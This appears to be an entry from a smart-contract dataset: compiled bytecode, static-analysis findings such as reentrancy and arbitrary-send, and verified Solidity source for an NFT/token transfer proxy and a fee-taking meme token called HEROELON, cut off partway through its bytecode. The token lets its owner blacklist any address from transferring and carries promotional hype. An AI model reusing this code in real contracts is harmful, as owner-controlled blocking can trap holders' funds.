92915050565b6000613401826134f3565b915061340c836134f3565b92508261341c5761341b6135f8565b5b828204905092915050565b6000613432826134f3565b915061343d836134f3565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613476576134756135c9565b5b828202905092915050565b600061348c826134f3565b9150613497836134f3565b9250828210156134aa576134a96135c9565b5b828203905092915050565b60006134c0826134d3565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613515826134f3565b9050919050565b60005b8381101561353a57808201518184015260208101905061351f565b83811115613549576000848401525b50505050565b600061355a826134f3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561358d5761358c6135c9565b5b600182019050919050565b60006135a3826134f3565b91506135ae836134f3565b9250826135be576135bd6135f8565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f526174652063616e277420657863656564203530250000000000000000000000600082015250565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b6139d5816134b5565b81146139e057600080fd5b50565b6139ec816134c7565b81146139f757600080fd5b50565b613a03816134f3565b8114613a0e57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122051341484f751e6ab75e4dcae1d4d86eaabae61f4c69a8dd975f14b613f06923b64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,015
0x2e944cf6a178ca03b20fb696b04ddb28706705c1
/** *Submitted for verification at Etherscan.io on 2021-07-29 */ //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of NFTs in `owner`'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the NFT specified by `tokenId`. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to * another (`to`). * * * * Requirements: * - `from`, `to` cannot be zero. * - `tokenId` must be owned by `from`. * - `tokenId` must be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this * NFT by either {approve} or {setApprovalForAll}. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to * another (`to`). * * Requirements: * - If the caller is not `from`, it must be approved to move this NFT by * either {approve} or {setApprovalForAll}. */ function transferFrom(address from, address to, uint256 tokenId) external; function approve(address to, uint256 tokenId) external; function getApproved(uint256 tokenId) external view returns (address operator); function setApprovalForAll(address operator, bool _approved) external; function isApprovedForAll(address owner, address operator) external view returns (bool); function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } interface IERC1155 is IERC165 { /** @dev Either `TransferSingle` or `TransferBatch` MUST emit when tokens are transferred, including zero value transfers as well as minting or burning (see "Safe Transfer Rules" section of the standard). The `_operator` argument MUST be msg.sender. The `_from` argument MUST be the address of the holder whose balance is decreased. The `_to` argument MUST be the address of the recipient whose balance is increased. The `_id` argument MUST be the token type being transferred. The `_value` argument MUST be the number of tokens the holder balance is decreased by and match what the recipient balance is increased by. When minting/creating tokens, the `_from` argument MUST be set to `0x0` (i.e. zero address). When burning/destroying tokens, the `_to` argument MUST be set to `0x0` (i.e. zero address). */ event TransferSingle(address indexed _operator, address indexed _from, address indexed _to, uint256 _id, uint256 _value); /** @dev Either `TransferSingle` or `TransferBatch` MUST emit when tokens are transferred, including zero value transfers as well as minting or burning (see "Safe Transfer Rules" section of the standard). The `_operator` argument MUST be msg.sender. The `_from` argument MUST be the address of the holder whose balance is decreased. The `_to` argument MUST be the address of the recipient whose balance is increased. The `_ids` argument MUST be the list of tokens being transferred. The `_values` argument MUST be the list of number of tokens (matching the list and order of tokens specified in _ids) the holder balance is decreased by and match what the recipient balance is increased by. When minting/creating tokens, the `_from` argument MUST be set to `0x0` (i.e. zero address). When burning/destroying tokens, the `_to` argument MUST be set to `0x0` (i.e. zero address). */ event TransferBatch(address indexed _operator, address indexed _from, address indexed _to, uint256[] _ids, uint256[] _values); /** @dev MUST emit when approval for a second party/operator address to manage all tokens for an owner address is enabled or disabled (absense of an event assumes disabled). */ event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved); /** @dev MUST emit when the URI is updated for a token ID. URIs are defined in RFC 3986. The URI MUST point a JSON file that conforms to the "ERC-1155 Metadata URI JSON Schema". */ event URI(string _value, uint256 indexed _id); /** @notice Transfers `_value` amount of an `_id` from the `_from` address to the `_to` address specified (with safety call). @dev Caller must be approved to manage the tokens being transferred out of the `_from` account (see "Approval" section of the standard). MUST revert if `_to` is the zero address. MUST revert if balance of holder for token `_id` is lower than the `_value` sent. MUST revert on any other error. MUST emit the `TransferSingle` event to reflect the balance change (see "Safe Transfer Rules" section of the standard). After the above conditions are met, this function MUST check if `_to` is a smart contract (e.g. code size > 0). If so, it MUST call `onERC1155Received` on `_to` and act appropriately (see "Safe Transfer Rules" section of the standard). @param _from Source address @param _to Target address @param _id ID of the token type @param _value Transfer amount @param _data Additional data with no specified format, MUST be sent unaltered in call to `onERC1155Received` on `_to` */ function safeTransferFrom(address _from, address _to, uint256 _id, uint256 _value, bytes calldata _data) external; /** @notice Transfers `_values` amount(s) of `_ids` from the `_from` address to the `_to` address specified (with safety call). @dev Caller must be approved to manage the tokens being transferred out of the `_from` account (see "Approval" section of the standard). MUST revert if `_to` is the zero address. MUST revert if length of `_ids` is not the same as length of `_values`. MUST revert if any of the balance(s) of the holder(s) for token(s) in `_ids` is lower than the respective amount(s) in `_values` sent to the recipient. MUST revert on any other error. MUST emit `TransferSingle` or `TransferBatch` event(s) such that all the balance changes are reflected (see "Safe Transfer Rules" section of the standard). Balance changes and events MUST follow the ordering of the arrays (_ids[0]/_values[0] before _ids[1]/_values[1], etc). After the above conditions for the transfer(s) in the batch are met, this function MUST check if `_to` is a smart contract (e.g. code size > 0). If so, it MUST call the relevant `ERC1155TokenReceiver` hook(s) on `_to` and act appropriately (see "Safe Transfer Rules" section of the standard). @param _from Source address @param _to Target address @param _ids IDs of each token type (order and length must match _values array) @param _values Transfer amounts per token type (order and length must match _ids array) @param _data Additional data with no specified format, MUST be sent unaltered in call to the `ERC1155TokenReceiver` hook(s) on `_to` */ function safeBatchTransferFrom(address _from, address _to, uint256[] calldata _ids, uint256[] calldata _values, bytes calldata _data) external; /** @notice Get the balance of an account's Tokens. @param _owner The address of the token holder @param _id ID of the Token @return The _owner's balance of the Token type requested */ function balanceOf(address _owner, uint256 _id) external view returns (uint256); /** @notice Get the balance of multiple account/token pairs @param _owners The addresses of the token holders @param _ids ID of the Tokens @return The _owner's balance of the Token types requested (i.e. balance for each (owner, id) pair) */ function balanceOfBatch(address[] calldata _owners, uint256[] calldata _ids) external view returns (uint256[] memory); /** @notice Enable or disable approval for a third party ("operator") to manage all of the caller's tokens. @dev MUST emit the ApprovalForAll event on success. @param _operator Address to add to the set of authorized operators @param _approved True if the operator is approved, false to revoke approval */ function setApprovalForAll(address _operator, bool _approved) external; /** @notice Queries the approval status of an operator for a given owner. @param _owner The owner of the Tokens @param _operator Address of authorized operator @return True if the operator is approved, false if not */ function isApprovedForAll(address _owner, address _operator) external view returns (bool); } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract TransferProxy { event operatorChanged(address indexed from, address indexed to); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); address public owner; address public operator; constructor() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner == msg.sender, "Ownable: caller is not the owner"); _; } modifier onlyOperator() { require(operator == msg.sender, "OperatorRole: caller does not have the Operator role"); _; } /** change the OperatorRole from contract creator address to trade contractaddress @param _operator :trade address */ function changeOperator(address _operator) public onlyOwner returns(bool) { require(_operator != address(0), "Operator: new operator is the zero address"); operator = _operator; emit operatorChanged(address(0),operator); return true; } /** change the Ownership from current owner to newOwner address @param newOwner : newOwner address */ function ownerTransfership(address newOwner) public onlyOwner returns(bool){ require(newOwner != address(0), "Ownable: new owner is the zero address"); owner = newOwner; emit OwnershipTransferred(owner, newOwner); return true; } function erc721safeTransferFrom(IERC721 token, address from, address to, uint256 tokenId) external onlyOperator { token.safeTransferFrom(from, to, tokenId); } function erc1155safeTransferFrom(IERC1155 token, address from, address to, uint256 tokenId, uint256 value, bytes calldata data) external onlyOperator { token.safeTransferFrom(from, to, tokenId, value, data); } function erc20safeTransferFrom(IERC20 token, address from, address to, uint256 value) external onlyOperator { require(token.transferFrom(from, to, value), "failure while transferring"); } }
0x608060405234801561001057600080fd5b506004361061007d5760003560e01c8063776062c31161005b578063776062c3146100e85780638da5cb5b146100fd5780639c1c2ee914610110578063f709b9061461012357600080fd5b806306394c9b14610082578063570ca735146100aa5780636fdc202f146100d5575b600080fd5b61009561009036600461059b565b610136565b60405190151581526020015b60405180910390f35b6001546100bd906001600160a01b031681565b6040516001600160a01b0390911681526020016100a1565b6100956100e336600461059b565b610250565b6100fb6100f6366004610697565b610360565b005b6000546100bd906001600160a01b031681565b6100fb61011e3660046105de565b610466565b6100fb610131366004610697565b610501565b600080546001600160a01b031633146101965760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6001600160a01b0382166101ff5760405162461bcd60e51b815260206004820152602a60248201527f4f70657261746f723a206e6577206f70657261746f7220697320746865207a65604482015269726f206164647265737360b01b606482015260840161018d565b600180546001600160a01b0319166001600160a01b0384169081179091556040516000907f1a377613c0f1788c756a416e15f930cf9e84c3a5e808fa2f00b5a18a91a7b864908290a3506001919050565b600080546001600160a01b031633146102ab5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161018d565b6001600160a01b0382166103105760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161018d565b600080546001600160a01b0319166001600160a01b0384169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a3506001919050565b6001546001600160a01b0316331461038a5760405162461bcd60e51b815260040161018d90610740565b6040516323b872dd60e01b81526001600160a01b0384811660048301528381166024830152604482018390528516906323b872dd90606401602060405180830381600087803b1580156103dc57600080fd5b505af11580156103f0573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061041491906105be565b6104605760405162461bcd60e51b815260206004820152601a60248201527f6661696c757265207768696c65207472616e7366657272696e67000000000000604482015260640161018d565b50505050565b6001546001600160a01b031633146104905760405162461bcd60e51b815260040161018d90610740565b604051637921219560e11b81526001600160a01b0388169063f242432a906104c6908990899089908990899089906004016106e7565b600060405180830381600087803b1580156104e057600080fd5b505af11580156104f4573d6000803e3d6000fd5b5050505050505050505050565b6001546001600160a01b0316331461052b5760405162461bcd60e51b815260040161018d90610740565b604051632142170760e11b81526001600160a01b0384811660048301528381166024830152604482018390528516906342842e0e90606401600060405180830381600087803b15801561057d57600080fd5b505af1158015610591573d6000803e3d6000fd5b5050505050505050565b6000602082840312156105ac578081fd5b81356105b781610794565b9392505050565b6000602082840312156105cf578081fd5b815180151581146105b7578182fd5b600080600080600080600060c0888a0312156105f8578283fd5b873561060381610794565b9650602088013561061381610794565b9550604088013561062381610794565b9450606088013593506080880135925060a088013567ffffffffffffffff8082111561064d578384fd5b818a0191508a601f830112610660578384fd5b81358181111561066e578485fd5b8b602082850101111561067f578485fd5b60208301945080935050505092959891949750929550565b600080600080608085870312156106ac578384fd5b84356106b781610794565b935060208501356106c781610794565b925060408501356106d781610794565b9396929550929360600135925050565b6001600160a01b03878116825286166020820152604081018590526060810184905260a06080820181905281018290526000828460c084013781830160c090810191909152601f909201601f1916010195945050505050565b60208082526034908201527f4f70657261746f72526f6c653a2063616c6c657220646f6573206e6f74206861604082015273766520746865204f70657261746f7220726f6c6560601b606082015260800190565b6001600160a01b03811681146107a957600080fd5b5056fea26469706673582212209a0116c901a365d150b88d20a1298a344c553c28e079fe96c911fd4b361dece764736f6c63430008040033
{"success": true, "error": null, "results": {}}
1,016
0x738d07a0ee4239163e13b34bd3b9a13c18188b9f
/** *Submitted for verification at Etherscan.io on 2022-03-08 */ /* “People with Asperger’s syndrome shouldn’t have to ‘mask’ – we should be able to just exist in the world, authentically autistic, and the world should be okay with that” - Elon Musk This token is dedicated to show the gratitude for what Elon has showcased to the world that impossible is nothing. Musk isn't just the world's richest man, though. He's a brilliant inventor. Even though many of the people trying to mock him will be ending up like the artist of this meme drawings. People with Aspergers have a hard time getting ahead in life. The unemployment rate for people living with autism is higher than the average, and our life expectancy is lower than that of the general population. Let's joint Elon’s hand to make the world a better place! Tokenomics Tax Distribution: 11% Total 4% Holders Rewards 3% Buy-back & burn 2% Marketing 2% Team TG @HeroElon */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner() { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner() { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); } contract HEROELON is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isBot; uint256 private constant _MAX = ~uint256(0); uint256 private constant _tTotal = 1e10 * 10**9; uint256 private _rTotal = (_MAX - (_MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "HeroELON"; string private constant _symbol = "HEROELON"; uint private constant _decimals = 9; uint256 private _teamFee = 11; uint256 private _previousteamFee = _teamFee; address payable private _feeAddress; // Uniswap Pair IUniswapV2Router02 private _uniswapV2Router; address private _uniswapV2Pair; bool private _initialized = false; bool private _noTaxMode = false; bool private _inSwap = false; bool private _tradingOpen = false; uint256 private _launchTime; uint256 private _initialLimitDuration; modifier lockTheSwap() { _inSwap = true; _; _inSwap = false; } modifier handleFees(bool takeFee) { if (!takeFee) _removeAllFees(); _; if (!takeFee) _restoreAllFees(); } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _removeAllFees() private { require(_teamFee > 0); _previousteamFee = _teamFee; _teamFee = 0; } function _restoreAllFees() private { _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case."); bool takeFee = false; if ( !_isExcludedFromFee[from] && !_isExcludedFromFee[to] && !_noTaxMode && (from == _uniswapV2Pair || to == _uniswapV2Pair) ) { require(_tradingOpen, 'Trading has not yet been opened.'); takeFee = true; if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) { uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _tTotal.mul(2).div(100)); } if (block.timestamp == _launchTime) _isBot[to] = true; uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _uniswapV2Pair) { if (contractTokenBalance > 0) { if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(12).div(100)) contractTokenBalance = balanceOf(_uniswapV2Pair).mul(12).div(100); _swapTokensForEth(contractTokenBalance); } } } _tokenTransfer(from, to, amount, takeFee); } function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapV2Router.WETH(); _approve(address(this), address(_uniswapV2Router), tokenAmount); _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) { (uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate); return (rAmount, rTransferAmount, tTransferAmount, tTeam); } function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) { uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tTeam); return (tTransferAmount, tTeam); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rTeam); return (rAmount, rTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function initContract(address payable feeAddress) external onlyOwner() { require(!_initialized,"Contract has already been initialized"); IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _uniswapV2Router = uniswapV2Router; _feeAddress = feeAddress; _isExcludedFromFee[_feeAddress] = true; _initialized = true; } function openTrading() external onlyOwner() { require(_initialized, "Contract must be initialized first"); _tradingOpen = true; _launchTime = block.timestamp; _initialLimitDuration = _launchTime + (4 minutes); } function setFeeWallet(address payable feeWalletAddress) external onlyOwner() { _isExcludedFromFee[_feeAddress] = false; _feeAddress = feeWalletAddress; _isExcludedFromFee[_feeAddress] = true; } function excludeFromFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = true; } function includeToFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = false; } function setTeamFee(uint256 fee) external onlyOwner() { require(fee <= 11, "not larger than 15%"); _teamFee = fee; } function setBots(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) { _isBot[bots_[i]] = true; } } } function delBots(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { _isBot[bots_[i]] = false; } } function isBot(address ad) public view returns (bool) { return _isBot[ad]; } function isExcludedFromFee(address ad) public view returns (bool) { return _isExcludedFromFee[ad]; } function swapFeesManual() external onlyOwner() { uint256 contractBalance = balanceOf(address(this)); _swapTokensForEth(contractBalance); } function withdrawFees() external { uint256 contractETHBalance = address(this).balance; _feeAddress.transfer(contractETHBalance); } receive() external payable {} }
0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063c9567bf91161006f578063c9567bf9146103f3578063cf0848f714610408578063cf9d4afa14610428578063dd62ed3e14610448578063e6ec64ec1461048e578063f2fde38b146104ae57600080fd5b8063715018a6146103255780638da5cb5b1461033a57806390d49b9d1461036257806395d89b4114610382578063a9059cbb146103b3578063b515566a146103d357600080fd5b806331c2d8471161010857806331c2d8471461023e5780633bbac5791461025e578063437823ec14610297578063476343ee146102b75780635342acb4146102cc57806370a082311461030557600080fd5b806306d8ea6b1461015b57806306fdde0314610172578063095ea7b3146101b557806318160ddd146101e557806323b872dd1461020a578063313ce5671461022a57600080fd5b3661015657005b600080fd5b34801561016757600080fd5b506101706104ce565b005b34801561017e57600080fd5b506040805180820190915260088152672432b937a2a627a760c11b60208201525b6040516101ac91906118e9565b60405180910390f35b3480156101c157600080fd5b506101d56101d0366004611963565b61051a565b60405190151581526020016101ac565b3480156101f157600080fd5b50678ac7230489e800005b6040519081526020016101ac565b34801561021657600080fd5b506101d561022536600461198f565b610531565b34801561023657600080fd5b5060096101fc565b34801561024a57600080fd5b506101706102593660046119e6565b61059a565b34801561026a57600080fd5b506101d5610279366004611aab565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156102a357600080fd5b506101706102b2366004611aab565b610630565b3480156102c357600080fd5b5061017061067e565b3480156102d857600080fd5b506101d56102e7366004611aab565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561031157600080fd5b506101fc610320366004611aab565b6106b8565b34801561033157600080fd5b506101706106da565b34801561034657600080fd5b506000546040516001600160a01b0390911681526020016101ac565b34801561036e57600080fd5b5061017061037d366004611aab565b610710565b34801561038e57600080fd5b506040805180820190915260088152672422a927a2a627a760c11b602082015261019f565b3480156103bf57600080fd5b506101d56103ce366004611963565b61078a565b3480156103df57600080fd5b506101706103ee3660046119e6565b610797565b3480156103ff57600080fd5b506101706108b0565b34801561041457600080fd5b50610170610423366004611aab565b610967565b34801561043457600080fd5b50610170610443366004611aab565b6109b2565b34801561045457600080fd5b506101fc610463366004611ac8565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561049a57600080fd5b506101706104a9366004611b01565b610c0d565b3480156104ba57600080fd5b506101706104c9366004611aab565b610c83565b6000546001600160a01b031633146105015760405162461bcd60e51b81526004016104f890611b1a565b60405180910390fd5b600061050c306106b8565b905061051781610d1b565b50565b6000610527338484610e95565b5060015b92915050565b600061053e848484610fb9565b610590843361058b85604051806060016040528060288152602001611c95602891396001600160a01b038a16600090815260036020908152604080832033845290915290205491906113d2565b610e95565b5060019392505050565b6000546001600160a01b031633146105c45760405162461bcd60e51b81526004016104f890611b1a565b60005b815181101561062c576000600560008484815181106105e8576105e8611b4f565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061062481611b7b565b9150506105c7565b5050565b6000546001600160a01b0316331461065a5760405162461bcd60e51b81526004016104f890611b1a565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600a5460405147916001600160a01b03169082156108fc029083906000818181858888f1935050505015801561062c573d6000803e3d6000fd5b6001600160a01b03811660009081526001602052604081205461052b9061140c565b6000546001600160a01b031633146107045760405162461bcd60e51b81526004016104f890611b1a565b61070e6000611490565b565b6000546001600160a01b0316331461073a5760405162461bcd60e51b81526004016104f890611b1a565b600a80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b6000610527338484610fb9565b6000546001600160a01b031633146107c15760405162461bcd60e51b81526004016104f890611b1a565b60005b815181101561062c57600c5482516001600160a01b03909116908390839081106107f0576107f0611b4f565b60200260200101516001600160a01b0316141580156108415750600b5482516001600160a01b039091169083908390811061082d5761082d611b4f565b60200260200101516001600160a01b031614155b1561089e5760016005600084848151811061085e5761085e611b4f565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b806108a881611b7b565b9150506107c4565b6000546001600160a01b031633146108da5760405162461bcd60e51b81526004016104f890611b1a565b600c54600160a01b900460ff1661093e5760405162461bcd60e51b815260206004820152602260248201527f436f6e7472616374206d75737420626520696e697469616c697a6564206669726044820152611cdd60f21b60648201526084016104f8565b600c805460ff60b81b1916600160b81b17905542600d8190556109629060f0611b96565b600e55565b6000546001600160a01b031633146109915760405162461bcd60e51b81526004016104f890611b1a565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146109dc5760405162461bcd60e51b81526004016104f890611b1a565b600c54600160a01b900460ff1615610a445760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b60648201526084016104f8565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163f